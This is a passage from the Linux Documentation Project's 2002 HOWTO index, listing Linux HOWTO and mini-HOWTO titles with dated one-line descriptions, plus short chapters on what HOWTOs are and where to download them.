  • PostgreSQL-HOWTO, Database-SQL-RDBMS HOWTO for Linux

    Removed: January 2002. This HOWTO has been removed for review. Please visit the official PostgreSQL site for information on this topic.

  • PPP-HOWTO, Linux PPP HOWTO

    Updated: July 2000. How to connect your Linux PC to a PPP server, how to use PPP to link two LANs together; provides one method of setting up your Linux computer as a PPP server. The document also provides help in debugging non-functional PPP connections.

  • Printing-HOWTO, The Linux Printing HOWTO

    Updated: September 2000. A collection of information on how to generate, preview, print and fax anything under Linux (and other Unices in general).

  • Printing-Usage-HOWTO, The Linux Printing Usage HOWTO

    Updated: February 1998. How to use the print system under Linux.

  • Process-Monitor-HOWTO, Process Monitor HOWTO for Linux

    Updated: February 2002. How to monitor Linux/Unix processes and to re-start them automatically if they die (without any manual intervention).

  • Program-Library-HOWTO, Program Library HOWTO

    Updated: March 2002. This HOWTO for programmers discusses how to create and use program libraries on Linux. This includes static libraries, shared libraries, and dynamically loaded libraries.

  • Psion-HOWTO, Linux and Psion HOWTO

    Updated: November 1999. How to use Psion palmtops with Linux. Does not cover running Linux on a Psion palmtop.

  • Querying-libiptc-HOWTO, Querying libiptc HOWTO

    Updated: April 2002. Explains how to use the libiptc library included in the iptables package and how to use programs to query the internal structures.

  • Qmail-VMailMgr-Courier-imap-HOWTO, Qmail VMailMgr and Courier-Imap HOWTO

    Updated: March 2002. Building a mail server that will support virtual domain hosting and provide smtp, pop3 and imap services, using a powerful alternative to sendmail.

  • Quake-HOWTO, Linux Quake HOWTO

    Updated: December 1998. How to install, run and troubleshoot Quake, QuakeWorld and Quake II on an Intel Linux system.

  • Reading-List-HOWTO, The Linux Reading List HOWTO

    Updated: June 2001. Lists the books the author thinks are most valuable to a person trying to learn Unix (especially Linux) top to bottom.

  • RedHat-CD-HOWTO, Burning a RedHat CD HOWTO

    Updated: March 2000. How to make your own CDs from the Red Hat Linux distribution equivalent to the ones commercially available from Red Hat.

  • Remote-Serial-Console-HOWTO, Remote Serial Console HOWTO

    Updated: May 2002. Covers how to set up your hardware to use a serial console.

  • Root-RAID-HOWTO, Root RAID HOWTO cookbook

    Updated: July 2000. This document only applies to the OLD raidtools, versions 0.50 and under. The workarounds and solutions addressed in this HOWTO have largely been made obsolete by the vast improvment in the 0.90 raidtools and accompanying kernel patch to the 2.0.37, 2.2x and 2.3x series kernels. You may find the detailed descriptions useful, particularly if you plan to run root raid or use initrd.

    original description: A cookbook for creating a root mounted raid filesystem and companion fallback rescue system using linux initrd. Step-by-step instructions for both raid1 and raid5 md0 devices.

  • RPM-HOWTO, RPM HOWTO - RPM at Idle

    Updated: November 1999. RPM is the RPM Package Manager. It is an open packaging system available for anyone to use. It allows users to take source code for new software and package it into source and binary form such that binaries can be easily installed and tracked and source can be rebuilt easily. It also maintains a database of all packages and their files that can be used for verifying packages and querying for information about files and/or packages.

  • RPM-for-Unix-HOWTO, RPM-for-Unix HOW-TO

    Updated: February 2002. This document will help you to setup the Redhat RPM program on various Unix operating systems.

  • Sat-HOWTO, Sat (Satellite Technology) HOWTO

    Updated: December 2001. Investigates "State of Art" Sat connections in a Linux environment; how to get them faster and how to share them with many clients.

  • SCSI-2.4-HOWTO, The Linux SCSI subsystem in 2.4 HOWTO

    Updated: April 2002. Describes the SCSI subsystem as the Linux kernel enters the 2.4 production series. An external view of the SCSI subsystem is the main theme. Material is included to help the system administration of the Linux SCSI subsystem.

  • SCSI-Generic-HOWTO, The Linux SCSI Generic (sg) HOWTO

    Updated: May 2002. Describes the SCSI Generic driver (sg) found in the Linux 2.4 production series of kernels. Focuses on the interface and characteristics of the driver that application writers may need to know.

  • SCSI-Programming-HOWTO, The Linux SCSI programming HOWTO

    Updated: May 1996. Deals with programming the Linux generic SCSI interface.

    Check the SCSI-Generic-HOWTO for more current information.

  • Secure-Programs-HOWTO, Secure Programming for Linux and Unix HOWTO

    Updated: March 2002. Provides a set of design and implementation guidelines for writing secure programs for Linux and Unix systems.

  • Security-HOWTO, Linux Security HOWTO

    Updated: February 2002. A general overview of security issues that face the administrator of Linux systems.

  • Security-Quickstart-HOWTO, Security Quick-Start HOWTO for Linux

    Updated: February 2002. An overview of the basic steps required to secure a Linux installation from intrusion.

  • Security-Quickstart-Redhat-HOWTO, Security Quick-Start HOWTO for Redhat Linux

    Updated: February 2002. An overview of the basic steps required to secure a Linux installation from intrusion (Redhat specific version).

  • Sentry-Firewall-CD-HOWTO, Sentry Firewall CD HOWTO

    Updated: March 2002. An introduction on how the Sentry Firewall CDROM works and how to get started using the system.

  • Serbian-HOWTO, Serbian HOWTO

    Updated: November 1998. Addresses Linux localization issues specific to Serbian users (written in Serbian).

  • Serial-HOWTO, Serial HOWTO

    Updated: March 2002. Describes serial port features other than those which should be covered by other HOWTOs. Lists information on multiport serial cards and contains detailed technical information about the serial port itself.

  • Serial-Laplink-HOWTO, Serial Laplink HOWTO

    Updated: July 2001. Details how to setup a “laplink” connection between two computers.

  • Serial-Programming-HOWTO, Serial Programming HOWTO

    Updated: August 2001. How to program communications with devices over a serial port on a Linux box.

  • Shadow-Password-HOWTO, Linux Shadow Password HOWTO

    Updated: April 1996. How to obtain, install, and configure the Linux password Shadow Suite.

  • Slovak-HOWTO, Slovak HOWTO

    Updated: February 2002. Addresses Linux localization issues specific to Slovakian users (written in Slovak).

  • Slovenian-HOWTO, Slovenian HOWTO

    Updated: February 1999. Addresses Linux localization issues specific to Slovenian users (written in Slovenian).

  • Smart-Card-HOWTO, Smart Card HOWTO

    Updated: September 2001. Information on smart card technology and its applications in Linux environment.

  • SMB-HOWTO, SMB HOWTO

    Updated: April 2000. How to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba.

  • SMP-HOWTO, Linux SMP HOWTO

    Updated: October 2000. Reviews main issues related to SMP configuration under Linux.

  • Snort-Statistics-HOWTO, Snort-Setup for Statistics HOWTO

    Updated: February 2002. Describes how to configure Snort version 1.8.3 to be used in conjunction with the statistical tools ACID (Analysis Console for Intrusion Databases) and SnortSnarf.

  • Software-Building-HOWTO, Building and Installing Software Packages for Linux

    Updated: July 1999. A comprehensive guide to building and installing "generic" UNIX software distributions under Linux.

  • Software-Proj-Mgmt-HOWTO, Free Software Project Management HOWTO

    Updated: April 2002. A guide to the non-technical aspects of free software project the non-technical aspects of free software project management; and was written to be a crash course in the people skills that aren't taught to commercial coders but that can make or break a free software project.

  • Software-RAID-HOWTO, Software-RAID HOWTO

    Updated: January 2000 (latest version). How to use Software RAID under Linux. It addresses a specific version of the Software RAID layer, namely the 0.90 RAID layer made by Ingo Molnar and others. This is the RAID layer that will be standard in Linux-2.4, and it is the version that is also used by Linux-2.2 kernels shipped from some vendors. The 0.90 RAID support is available as patches to Linux-2.0 and Linux-2.2, and is by many considered far more stable that the older RAID support already in those kernels.

  • Software-RAID-0.4x-HOWTO, Software-RAID HOWTO (earlier implementation)

    Updated: November 1998. How to use Software RAID under Linux. RAID stands for "Redundant Array of Inexpensive Disks". For users of the Linux MD kernel extension, the associated tools, and their use. This HOWTO addresses an earlier implementation.

  • Software-Release-Practice-HOWTO, Software Release Practice HOWTO

    Updated: January 2002. Describes good release practices for Linux open-source projects.

  • Sound-HOWTO, The Linux Sound HOWTO

    Updated: July 2001. Describes sound support for Linux (hardware, configuration, etc).

  • Sound-Playing-HOWTO, The Linux Sound Playing HOWTO

    Updated: August 1998. Lists applications for Linux that play various sound formats.

  • Spanish-HOWTO, Spanish Linux HOWTO

    Updated: August 1996. Contains information on Linux in the Spanish environment, for developing software with Spanish support or how to get in touch with the Linux community in Spain (written in Spanish).

  • SPARC-HOWTO, SPARC-HOWTO

    Updated: November 2000. Describes Linux on SPARC-based workstations.

  • Speech-Recognition-HOWTO, Speech Recognition HOWTO

    Updated: April 2002. Automatic Speech Recognition (ASR) on Linux is becoming easier. Several packages are available for users as well as developers. This document describes the basics of speech recognition and describes some of the available software.

  • SRM-HOWTO, SRM Firmware HOWTO

    Updated: November 2000. Describes how to boot Linux/Alpha using the SRM console, which is the console firmware also used to boot Compaq Tru64 Unix (also known as Digital Unix and OSF/1) and OpenVMS.

  • SSL-Certificates-HOWTO, SSL Certificates HOWTO

    Updated: May 2002. How to manage a certificate authority (CA), and issue or sign certificates to be used for secure web, secure e-mail, or signing code and other usages.

  • SSL-RedHat-HOWTO, Building a Secure RedHat Apache Server HOWTO

    Updated: February 2001. Explains how PKI and SSL work together. It is essential to understand how the SSL protocol works to successfully deploy a secure server.

  • Sybase-ASA-HOWTO, Sybase Adaptive Server Anywhere for Linux HOWTO

    Updated: April 2001. Guides you through the installation of SQL Anywhere Studio 7.0.2 for Linux and the basic operation and administration of Adaptive Server Anywhere databases.

  • Tango-HOWTO, Tango 2000 HOWTO

    Updated: July 2000. Describes the installation, configuration, and basic troubleshooting of Pervasive Software's Tango Application Server on Sun Solaris and various flavours of Linux.

  • TclTk-HOWTO, The Linux Tcl and Tk HOWTO

    Updated: November 1998. Describes the Linux approach to Tcl, a scripting language.

  • TeTeX-HOWTO, The teTeX HOWTO: The Linux-teTeX Local Guide

    Updated: November 1998. Covers the basic installation and usage of the teTeX TeX and LaTeX implementation, plus auxiliary packages like Ghostscript.

  • Text-Terminal-HOWTO, Text-Terminal HOWTO

    Updated: March 2002. Explains what text terminals are, how they work, how to install and configure them, and provides some info on how to repair them.

  • Thai-HOWTO, The Linux Thai HOWTO

    Updated: August 1998. How to use Thai language with Linux. This will cover setting Thai fonts, Thai keyboard and some Thai applications.

  • Thinclient-HOWTO, Thin Client: New User Guide

    Updated: November 1999. How to turn inexpensive legacy computers into fast terminals.

  • TimePrecision-HOWTO, Managing Accurate Date and Time HOWTO

    Updated: May 2002. Explains the time mechanisms on Linux, what are time zones, and precision with NTP.

  • Tips-HOWTO, The Linux Tips HOWTO

    Updated: June 1998. Contains those hard to find hints and tweekings that make Linux a bit nicer.

  • Turkish-HOWTO, Turkish HOWTO

    Updated: September 1999. Addresses Linux localization issues specific to Turkish users (written in Turkish).

  • UMSDOS-HOWTO, UMSDOS HOWTO

    Updated: December 2001. Explains how to use Umsdos (a linux file system) in different configurations, and its operation.

  • Unicode-HOWTO, The Unicode HOWTO

    Updated: January 2001. How to change your Linux system so it uses UTF-8 as text encoding.

  • Unix-and-Internet-Fundamentals-HOWTO, The Unix and Internet Fundamentals HOWTO

    Updated: February 2002. Describes the working basics of PC-class computers, Unix-like operating systems, and the Internet in non-technical language.

  • Unix-Hardware-Buyer-HOWTO, The Unix Hardware Buyer HOWTO

    Updated: August 2001. This is your one-stop resource for information about how to buy and configure Intel hardware for cheap, powerful Unix systems.

  • UPS-HOWTO, The UPS HOWTO

    Updated: November 1997. Helps you connect an uninterruptable power supply to a Linux box.

  • User-Authentication-HOWTO, User Authentication HOWTO

    Updated: May 2000. Explains how user and group information is stored and how users are authenticated on a Linux system (PAM), and how to secure you system's user authentication.

  • User-Group-HOWTO, Linux User Group HOWTO

    Updated: April 1998. A guide to founding, maintaining, and growing a Linux User Group.

  • UUCP-HOWTO, The Linux UUCP HOWTO

    Updated: December 2001. Describes the setup, care & feeding of UUCP under Linux.

  • VAR-HOWTO, Linux VAR HOWTO

    Updated: August 1999. Contains a listing of service companies which do not manufacture hardware or create packaged software, but add value to existing products.

  • VCR-HOWTO, VCR-HOWTO - Using your GNU/Linux computer as a VCR

    Updated: July 2001. A guide to setting up your GNU/Linux workstation as a digital VCR using the video4linux driver and a supported tuner card.

  • Vim-HOWTO, Vim Color Editor HOWTO (Vi Improved w/syntax color highlighting)

    Updated: April 2002. A guide to very quickly setup Vim color editor on Linux or Unix systems.

  • Virtual-Services-HOWTO, Virtual Services HOWTO

    Updated: August 1998. How to virtualize a service.

  • VMailMgr-HOWTO, VMailMgr HOWTO

    Updated: April 2000. Explains how to setup VMailMgr to support pop3 virtual domain services in conjunction with Qmail.

  • VME-HOWTO, VME HOWTO

    Updated: February 2002. Shows the embedded system community how to run Linux on their VMEbus Pentium and other PCI local bus based VMEbus processor designs.

  • VMS-to-Linux-HOWTO, From VMS to Linux HOWTO

    Updated: September 1999. Aimed at all those who have been using VMS and now need or want to switch to Linux.

  • VoIP-HOWTO, VoIP Howto

    Updated: April 2002. Voice Over IP is a new communication means that let you telephone with Internet at almost null cost. This document covers how this is done.

  • VPN-HOWTO, VPN HOWTO

    Updated: December 1999. How to set up a Virtual Private Network with Linux.

  • VPN-Masquerade-HOWTO, Linux VPN Masquerade HOWTO

    Updated: October 2000. How to configure a Linux firewall to masquerade IPsec- and PPTP-based Virtual Private Network traffic, allowing you to establish a VPN connection without losing the security and flexibility of your Linux firewall's internet connection and allowing you to make available a VPN server that does not have a registered internet IP address.

  • Wacom-Tablet-HOWTO, Wacom Tablet HOWTO

    Updated: August 2001. Installation of (not only) Wacom graphic tablets under linux and/or xfree86.

  • Wearable-HOWTO, Wearable HOWTO

    Updated: November 2000. Nomadism is one of the major trends of our society, now most of the people can work with a laptop computer, but few did the next step: to live, or if you prefer to wear one computer - that is a wearable.

  • WikiText-HOWTO, LDP WikiText Editing HOWTO

    Updated: January 2002. Explains how to use the LDP WikiText editing format to create DocBook documents for the LDP.

  • Windows-LAN-Server-HOWTO, Windows LAN server HOW-TO

    Updated: September 2000. Intended to assist those who wish to consider Linux as a server within an office environment which has PC's primarily running Microsoft Windows 9x.

  • Winmodems-and-Linux-HOWTO, Winmodems-and-Linux HOWTO

    Updated: April 2001. Helps users get a Winmodem working under Linux.

  • Wireless-HOWTO, Wireless HOWTO for Linux Systems

    Updated: May 2002. Document explains how to setup Wireless in Linux, compatibility problems, something about geographic requirements and more.

  • Wireless-Sync-HOWTO, Wireless Sync HOWTO

    Updated: December 2001. Explains how to perform a wireless, network sync between a Handspring Visor and jpilot or jpilot-sync.

  • WWW-HOWTO, Linux WWW HOWTO

    Updated: August 1999. Information about setting up WWW services under Linux (both server and client).

  • WWW-mSQL-HOWTO, A mSQL and perl Web Server HOWTO

    Updated: September 1997. How to build a SQL client/server database using WWW and HTML for the user interface.

  • XDMCP-HOWTO, Linux XDMCP HOWTO

    Updated: March 2002. How to setup XDMCP ("X Display Manager Control Protocol").

  • XFree86-HOWTO, The Linux XFree86 HOWTO

    Updated: September 2001. How to obtain, install, and configure version 4.0 of the XFree86 version of the X Window System (X11R6) for Linux systems.

  • XFree86-Touch-Screen-HOWTO, Linux Touch Screen HOWTO

    Updated: January 2002. How to set up a touch screen input device under XFree86.

  • XFree86-Video-Timings-HOWTO, XFree86 Video Timings HOWTO

    Updated: February 2002. How to compose a mode line for your card/monitor combination under XFree86.

  • Xinerama-HOWTO, Using the Xinerama Extensions to MultiHead X v.4.0

    Updated: November 2000. How to configure XFree86 Version 4.0 with Multiple monitors and the Xinerama extentions.

  • XML-RPC-HOWTO, XML-RPC HOWTO

    Updated: April 2001. Describes how to use XML-RPC to implement clients and servers in a variety of languages. Provides example code; applies to all operating systems with XML-RPC support.

  • XWindow-Overview-HOWTO, X Window System Architecture Overview HOWTO

    Updated: May 2001. Provides an overview of the X Window System's architecture.

  • XWindow-User-HOWTO, The X Window User HOWTO

    Updated: March 2002. Provides basic information (introductory level) on understanding and configuring the X Window System for Linux users.

Prev | Home | Next
Miscellaneous |  | Single list of mini-HOWTOs


LDP HOWTO-INDEX

Guylhem Aznar

Joshua Drake

Greg Ferguson

v7.5, 2002-05-01

This document contains an index to the Linux HOWTOs as well as other information about the HOWTO project.

Table of Contents
1. What Are Linux HOWTOs?
2. Where Can I Get Linux HOWTOs?
3. HOWTO Translations
4. Categorized List of HOWTOs
4.1. The Linux OS
4.1.1. Getting Started
4.1.2. Switching from Other Operating Systems
4.1.3. Distributions
4.1.4. Installation
4.1.5. Kernel
4.1.6. Boot Loaders and Booting the OS
4.1.7. Parallel Processing
4.1.8. Partitions and Filesystems
4.1.9. RAID
4.1.10. Printing
4.1.11. Shell
4.1.12. Using Linux
4.2. System Administration and Configuration
4.2.1. Configuration
4.2.2. Benchmarking
4.2.3. Clustering
4.2.4. Backup
4.2.5. Recovery
4.2.6. Security
4.3. Hardware
4.3.1. General
4.3.2. Platforms
4.3.3. Video Cards
4.3.4. CPUs / Architectures
4.3.5. CD-ROM / DVD-ROM Drives
4.3.6. Optical Disks
4.3.7. Keyboard and Console
4.3.8. Digital Cameras
4.3.9. Graphic Tablets
4.3.10. Diskettes
4.3.11. Hard Disks
4.3.12. Jaz and ZIP Drives
4.3.13. Mice
4.3.14. Modems
4.3.15. SCSI
4.3.16. Serial Ports
4.3.17. Sound Cards
4.3.18. Tape Drives
4.3.19. Touchscreens
4.3.20. UPS
4.3.21. Wireless
4.3.22. Miscellaneous
4.4. Networking
4.4.1. General
4.4.2. Protocols
4.4.3. Dial-up
4.4.4. DNS
4.4.5. Virtual Private Networks
4.4.6. Bridging
4.4.7. Routing
4.4.8. Security
4.4.9. Telephony / Satellite
4.4.10. Miscellaneous
4.5. Applications / GUI / Multimedia
4.5.1. Installing Applications
4.5.2. User Applications
4.5.3. Server Applications
4.5.3.1. DBMS / Databases
4.5.3.2. Mail
4.5.3.3. Usenet Network News
4.5.3.4. HTTP / FTP
4.5.3.5. Miscellaneous
4.5.4. GUI / Window Managers
4.5.4.1. X Window System
4.5.4.2. Window Managers
4.5.4.3. Fonts
4.5.5. Multimedia
4.5.5.1. Audio
4.5.5.2. Video
4.6. Programming
4.6.1. General
4.6.2. Compilers
4.6.3. Languages
4.6.4. Libraries
4.6.5. Interfaces / API / Protocols
4.6.6. Security
4.6.7. Tools
4.6.8. Version Control
4.6.9. DBMS / Databases
4.6.10. Miscellaneous
4.7. Other (human) Languages
4.7.1. Language Support
4.7.2. Using Specific Languages
4.8. Miscellaneous
4.8.1. Authoring / Documentation
4.8.2. Linux Advocacy / Getting (and Staying) Involved
4.8.3. Hobbies and Special Interests
5. Single list of HOWTOs
6. Single list of mini-HOWTOs
7. Unmaintained HOWTOs
8. Writing and Submitting a HOWTO
9. Copyright Information
Next
What Are Linux HOWTOs?


What Are Linux HOWTOs?

LDP HOWTO-INDEX
Prev Next

Chapter 1. What Are Linux HOWTOs?

Linux HOWTOs are documents which describe in detaila certain aspect of configuring or using Linux. For example, there is the Installation HOWTO, which gives instructions on installing Linux, and the Mail Administrator HOWTO, which describes how to set up and configure mail under Linux. Other examples include the Net HOWTO and the Printing HOWTO.

HOWTOs are comprehensive docs - much like an FAQ but generally not in question-and-answer format. However, many HOWTOs contain a FAQ section at the end.

There are several HOWTO formats available: plain text, PostScript, PDF, and HTML.

In addition to the HOWTOs, there are a multitude of mini-HOWTOs on short, specific subjects.

Prev | Home | Next
LDP HOWTO-INDEX |  | Where Can I Get Linux HOWTOs?


Where Can I Get Linux HOWTOs?

LDP HOWTO-INDEX
Prev Next

Chapter 2. Where Can I Get Linux HOWTOs?

HOWTOs can be retrieved via anonymous FTP from ftp://www.ibiblio.org/pub/Linux/docs/HOWTO/ as well as from many mirror sites around the world. Please use a mirror site if possible.

You can also browse HOWTOs in HTML format or grab Linux-html-HOWTOs.tar.gz for viewing on your own workstation. The files will be extracted into HOWTO/.

Other formats can be accessed from the HOWTO documents page of the LDP.

Many mirror sites mirror the HTML files. tldp.org is heavily used, so please use a mirror site if possible.

Prev | Home | Next
What Are Linux HOWTOs? |  | HOWTO Translations


Single list of mini-HOWTOs

LDP HOWTO-INDEX
Prev Next

Chapter 6. Single list of mini-HOWTOs

The following Linux mini-HOWTOs are currently available:

  • 3-Button-Mouse, The 3 Button Serial Mouse mini-HOWTO

    Updated: May 1998. How to get a 3 button serial mouse working properly under Linux.

  • 3D-Modelling, 3D Graphics Modelling and Rendering mini-HOWTO

    Updated: March 2001. Details download and installation instructions for a graphics rendering and modelling development environment using RedHat Linux.

  • ACP-Modem, Linux ACP Modem (Mwave) mini-HOWTO

    Updated: July 2001. Describes how to build, setup, and use the ACP (Mwave) Modem feature of the IBM Thinkpad[tm] 600E, 600, and 770x.

  • ADSL, ADSL HOWTO for Linux Systems

    Replaced by the DSL HOWTO for Linux.

  • ADSM-Backup, Linux ADSM mini-HOWTO

    Updated: January 1997. How to install and use a client for the commercial ADSM backup system for Linux/i386.

  • Advocacy, Linux Advocacy mini-HOWTO

    Updated: May 2000. Suggestions for how the Linux community can effectively advocate the use of Linux.

  • Alsa-sound, Alsa-sound-mini-HOWTO

    Updated: November 1999. Describes the installation of the ALSA sound drivers for Linux.

  • Apache-mods, Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi mini-HOWTO

    Updated: April 2000. Details the installation of an Apache based webserver suite configured to handle DSO, and various useful modules including mod_perl, mod_ssl and php.

  • Apache+SSL+PHP+fp, Linux Apache SSL PHP/FI frontpage mini-HOWTO

    Updated: July 1998. About building a multipurpose webserver that will support dynamic web content via the PHP/FI scripting language, secure transmission of data based on Netscape's SSL, secure execution of CGI's and M$Frontpage Server Extensions.

  • Automount, Automount mini-HOWTO

    Updated: March 2002. Describes the autofs automounter, how to configure it; points out some problems to avoid.

  • BackspaceDelete, Linux Backspace/Delete mini-HOWTO

    Updated: January 2002. Solutions for having working Backspace and Delete keys on the console and on X.

  • Backup-With-MSDOS, Backup-With-MSDOS mini-HOWTO

    Updated: August 1997. How to use a Linux-compatible tape drive installed on an MS-DOS machine to back up the filesystem of a Linux machine.

  • Battery-Powered, Battery Powered Linux Mini-HOWTO

    Updated: December 1997. How to reduce a Linux system's power consumption by tweaking some of its configuration settings.

  • Boca, Installing Boca Card Mini-HOWTO

    Updated: January 2001. Describes the basics of a Boca 16-port serial card (Boca 2016) with Linux.

  • BogoMips, BogoMips mini-HOWTO

    Updated: April 2002. Some information about BogoMips, compiled from various sources.

  • Boot+Root+Raid+LILO, Boot + Root + Raid + Lilo : Software Raid mini-HOWTO

    Updated: July 2000. A cookbook for setting up root raid using the 0.90 raidtools for bootable raid mounted on root using standard LILO.

  • Bridge, Bridging mini-HOWTO

    Updated: May 2002. Describes how to setup an ethernet bridge.

  • Bridge+Firewall, Linux Bridge+Firewall Mini-HOWTO

    Updated: December 1997. A bridge is an intelligent connection wire between two network cards. A firewall is an intelligent insulator.

  • Bridge+Firewall+DSL, Bridge + Firewall + DSL Mini-HOWTO

    Updated: November 2000. Configuring a Linux system to act as a firewall and bridge with a DSL network connection.

  • BTI-PPP, BTinternet PPPd mini-HOWTO

    Updated: March 2002. Describes how to setup a modem PPPd link to Btinternet in the UK.

  • BTTV, The BTTV Mini-HOWTO

    Updated: February 2000. Describes the hardware, software, and procedures needed to use a bt8x8 chipset based frame grabber or TV tuner card under Linux.

  • Bzip2, Bzip2 mini-HOWTO

    Updated: August 1999. How to use the new bzip2 compression program.

  • Call-back call-back mini HOWTO

    Updated: October 2001. How to set up call-back by using the Linux system and modem.

  • Cipe+Masq, The Linux Cipe+Masquerading mini-HOWTO

    Updated: April 1999. How to setup a VPN using Cipe on a linux masquerading firewall.

  • Clock, The Clock Mini-HOWTO

    Updated: November 2000. How to set and keep your computer's clock on time.

  • Coffee, COFFEE-HOWTO

    Updated: November 2000. Yes, Linux DOES make coffee, and it tastes good.

  • Commercial-Port-Advocacy, Commercial Port Advocacy mini-HOWTO

    Updated: December 1999. Discusses methods that can be used to approach commercial software companies to convince them to port their programs to Linux.

  • Compressed-TCP, Compressed TCP/IP-Sessions using SSH-like tools

    Updated: April 2000. Discusses how to compress data streams.

  • DHCP, DHCP mini-HOWTO

    Updated: October 2000. Answers basic questions on how to set up your Linux box to serve as a DHCP server or a DHCP client.

  • Divert-Sockets-mini-HOWTO, Divert Sockets mini-HOWTO

    Updated: February 2000. Describes how to get, compile and use FreeBSD divert sockets under Linux 2.2.12.

  • DocBook-Install, DocBook Install mini-HOWTO

    Updated: February 2002. A detailed practical guide for novices to quickly getting DocBook installed and processing SGML files into HTML, PostScript and PDF on a GNU/Linux system.

  • Domain, Setting Up Your New Domain Mini-HOWTO

    Updated: October 2000. Outlines the things you will probably have to do when you want to set up a network of computers under your own domain.

  • DPT-Hardware-RAID, Linux DPT Hardware RAID mini-HOWTO

    Updated: February 2002. How to set up hardware RAID under Linux.

  • Euro-Char-Support, Euro Character Support mini HOWTO

    Updated: April 2002. Describes how to make the Euro character support in GNU/Linux work.

  • Ext2fs-Undeletion, Linux Ext2fs Undeletion mini-HOWTO

    Updated: February 1999. Presents a discussion of how to retrieve deleted files from a Second Extended File System.

  • Ext2fs-Undeletion-Dir-Struct, Ext2fs Undeletion of Directory Structures

    Updated: November 2000. Describes a straight forward way of recovering whole directory structures, instead of file by file, that have been removed by a misplaced rm -rf

  • Fax-Server, Linux simple fax printer server mini-HOWTO (faxsrv-mini-HOWTO)

    Updated: November 1997. Describes in detail one of the simplest ways to setup a fax server on your Linux system.

  • FBB, FBB Packet-radio BBS mini-HOWTO

    Updated: November 2001. Covers the installation and use of the most popular amateur packet-radio BBS software FBB.

  • FDU, XFree86 Font De-uglification HOWTO

    Updated: February 2002. How to fix ugly and unreadable X Window fonts.

  • Firewall-Piercing, Firewall Piercing mini-HOWTO

    Updated: November 2001. Directions for using ppp over telnet to do network activities transparently through an Internet firewall.

  • FTP, FTP mini-HOWTO

    Updated: January 2000. How to use ftp clients and servers

  • GIS-GRASS, GIS-GRASS mini-HOWTO

    Updated: November 1997. How to acquire, install and configure a powerful scientific public-domain Geographic Information System (GIS): the Geographic Resources Analysis Support System (GRASS).

  • Handspring-Visor, Handspring-Visor mini-HOWTO

    Updated: August 2000. Using the Visor with Linux and your USB port.

  • Hard-Disk-Upgrade, Hard Disk Upgrade Mini HOWTO

    Updated: April 2000. How to copy a Linux system from one hard disk to another.

  • Home-Electrical-Control, Home Electrical Device Control mini HOWTO

    Updated: February 2002. Use Linux to control your home electrical devices.

  • Home-Network-mini-HOWTO, Red Hat Linux 6. X as an Internet Gateway for a Home Network

    Updated: June 2000. Tutorial on configuring Red Hat 6 and related variants to operate as an internet gateway to a small home or office network. Topics covered include masquerading, DNS, DHCP, and basic security.

  • Howtos-with-LinuxDoc, Howtos-with-LinuxDoc mini-HOWTO

    Updated: March 2001. This is about how to write HOWTOs using the simple LinuxDoc markup. It's primarily for Linux Documentation Project authors (and future fledging authors who want to get started fast). If you want to use the more advanced DocBook markup (including XML) see the LDP Author Guide.

  • Install-From-ZIP, Linux Install From PPA-Zip drive mini-HOWTO

    Updated: April 1998. How to install Linux from a parallel port zip drive using the Slackware Linux distribution.

  • Install-Strategies, Linux Installation Strategies

    Updated: May 2001. Discusses a few installation strategies for those who intend to dual-boot between Windows and Linux.

  • Intkeyb, How to setup international keyboard in X Windows

    Updated: December 2001. This xmodmap and kimap solutions will work for you in setting up any international keyboard for (Debian, RedHat, Mandrake, Corel) Linux, FreeBSD, OpenBSD, NetBSD and possibly every Unix that uses Xfree86 and KDE.

  • IO-Port-Programming, Linux I/O port programming mini-HOWTO

    Updated: December 2000. Describes programming hardware I/O ports and waiting for small periods of time in user-mode Linux programs running on the Intel x86 architecture.

  • IP-Subnetworking, IP Sub-Networking mini-HOWTO

    Updated: August 2001. Describes why and how to subnetwork an IP network - that is using a single A, B or C Class network number to function correctly on several interconnected networks.

  • IP-Alias, Setting Up IP Aliasing On A Linux Machine Mini-HOWTO

    Updated: January 2001. How to set up and run IP aliasing on a Linux box.

  • IPMasquerading+Napster, IPMasquerading+Napster mini-HOWTO

    Updated: April 2000. Present a way to allow users behind an IPMasq'd system to use Napster.

  • IRC, Linux IRC mini-HOWTO

    Updated: July 2001. Describes the basics of IRC and respective applications for Linux.

  • ISP-Connectivity, ISP-Connectivity mini-HOWTO

    Updated: November 2001. How to setup PPP, connect up to your ISP, configure mail and news, get a permanent IP (if available), get a domain name, and have a bona fide system running in a little over thirty minutes.

  • Kerneld, The Linux kerneld mini-HOWTO

    Updated: May 2000. Explains how you can use the kerneld function in the Linux kernels.

  • LBX, The LBX mini-HOWTO

    Updated: December 1997. LBX (Low Bandwidth X) is an X server extension which performs compression on the X protocol. It is meant to be used in conjunction with X applications and an X server which are separated by a slow network connection, to improve display and response time.

  • Leased-Line, Leased line mini-HOWTO

    Updated: August 2000. Configuring your modem and pppd to use a 2 wire twisted pair leased line.

  • Lego, Lego Mindstorm with Linux Mini-HOWTO

    Updated: October 2000. Intended to serve as a very brief introduction to the options available for using the Lego Group's Mindstorm Robotics Invention System (RIS) from within Linux. It also can be used as a gathering point for more information.

  • LILO, Lilo mini-HOWTO

    Updated: April 2002. Lilo (LILO) is the most used Linux Loader for the x86 flavour of Linux. This describes some typical Lilo installations. Intended as a supplement to the Lilo User's Guide.

  • Linux+DOS+Win95+OS2, The Linux ``Linux-DOS-Win95-OS2'' mini-HOWTO

    Updated: November 1997. Presents a procedure to make 4 operating systems co-exist on a single hard disk.

  • Linuxdoc-Reference, Linuxdoc Reference - An Introduction to the linuxdoc DTD

    Updated: January 2000. Intended to be a reference for the SGML document type definition linuxdoc.

  • LinuxGL-QuakeWorld-mini-HOWTO, LinuxGL (GLX) QuakeWorld Client compile mini-HOWTO

    Updated: January 2001. How to get the OpenGL/GLX Linux QuakeWorld client compiled and working on systems with standard OpenGL hardware acceleration support.

  • Linux+FreeBSD, The Linux+FreeBSD mini-HOWTO

    Updated: March 2000. How to use Linux and FreeBSD on the same system.

  • Linux-Modem-Sharing Modem sharing mini-HOWTO

    Updated: August 2001. Describes how to setup a Linux system in order to share a modem attached to this system with other systems over a TCP/IP network.

  • Linux+NT-Loader, NT OS Loader + Linux mini-HOWTO

    Updated: September 1997. Describes the use of the Windows NT boot loader to start Linux. This procedures have been tested with Windows NT 4.0 WS and Linux 2.0.

  • Linux+Solaris, Linux+Solaris mini-HOWTO

    Updated: April 2000. Describes how to use Solaris and Linux together on one machine. It addresses common questions like multibooting and file-sharing.

  • Linux+Win95, Linux + Windows 95 mini-HOWTO

